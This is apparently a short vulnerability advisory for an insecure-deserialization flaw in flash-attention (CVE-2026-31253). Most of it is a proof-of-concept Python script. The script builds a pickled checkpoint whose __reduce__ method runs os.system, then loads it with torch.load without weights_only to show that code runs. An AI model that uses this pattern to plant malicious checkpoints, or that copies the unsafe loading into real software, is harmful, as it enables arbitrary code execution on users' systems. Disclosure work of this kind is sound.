CVE-2026-31253 flash-attention不安全反序列化漏洞

import pickle import os import torch # Define a malicious class to execute code on deserialization class MaliciousCheckpoint: def __reduce__(self): # The command to execute (e.g., creating a proof-of-concept file) return (os.system, ('touch /tmp/VULNERABLE_POC',)) # Create the malicious payload payload = MaliciousCheckpoint() # Save as a fake checkpoint file with open('malicious_model.pth', 'wb') as f: pickle.dump(payload, f) print("Malicious checkpoint generated: malicious_model.pth") # Simulate the vulnerable loading process in flash-attention # This is what happens in the victim's eval.py or checkpoint.py try: # Vulnerable call: torch.load() without weights_only=True print("Simulating victim loading the checkpoint...") data = torch.load('malicious_model.pth') print("Checkpoint loaded successfully.") except Exception as e: print(f"Error during loading: {e}")